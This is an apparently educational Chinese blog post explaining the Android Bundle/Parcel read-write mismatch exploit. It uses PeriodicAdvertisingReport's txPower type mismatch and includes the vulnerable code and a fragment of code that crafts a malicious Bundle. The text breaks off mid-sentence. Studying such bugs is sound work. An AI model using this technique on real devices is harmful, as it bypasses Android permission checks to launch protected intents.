Parcel Bundle漏洞学习

news2024/10/6 1:34:52

Bundle的序列化细节看上去还是有些复杂的，在之前已经讨论过，一般我们使用Parcel的时候，都是严格的write和read相对应。一些疏漏，不对应，竟然就可以成为漏洞，

https://xz.aliyun.com/t/2364 里介绍了Bundle漏洞的情况，详情可以去查看，

这里补充一些理解，

引用里面的原理图，

Bundle可以存储map键值对，存储 key-value数量 key1 value1 key2 value2 ...

根据key-value数量来控制读的次数，来进行反序列化。

当恶意bundle中存的data有<key, intent>

第一个key-value存储的是有bug的对象，这里是PeriodicAdvertisingReport

@Override
    public void writeToParcel(Parcel dest, int flags) {
        dest.writeInt(syncHandle);
        dest.writeLong(txPower);
        dest.writeInt(rssi);
        dest.writeInt(dataStatus);
        if (data != null) {
            dest.writeInt(1);
            dest.writeByteArray(data.getBytes());
        } else {
            dest.writeInt(0);
        }
    }
    private void readFromParcel(Parcel in) {
        syncHandle = in.readInt();
        txPower = in.readInt();
        rssi = in.readInt();
        dataStatus = in.readInt();
        if (in.readInt() == 1) {
            data = ScanRecord.parseFromBytes(in.createByteArray());
        }
    }

txPower的读写类型不一致，会造成错位。

系统中的这样有漏洞的Parcelable对象会被这样利用起来作为错位工具。

构造恶意Bundle，使用了特意的组装，而不是调用Parcelable对象里定义的构造方法。

        pcelData.writeString("mismatch");
        pcelData.writeInt(4); // VAL_PACELABLE
        pcelData.writeString("android.bluetooth.le.PeriodicAdvertisingReport"); // name of Class Loader
        pcelData.writeInt(1);//syncHandle
        pcelData.writeInt(1);//txPower
        pcelData.writeInt(1);//rssi
        pcelData.writeInt(1);//dataStatus
        pcelData.writeInt(1);// flag for data

就这样，错位后的结构中，原内容里的 <key, intent>数据就冒充了Bundle中的第2个键值对来进行使用。

<key, intent>逃脱了权限检查。

如同这样一个命令字串，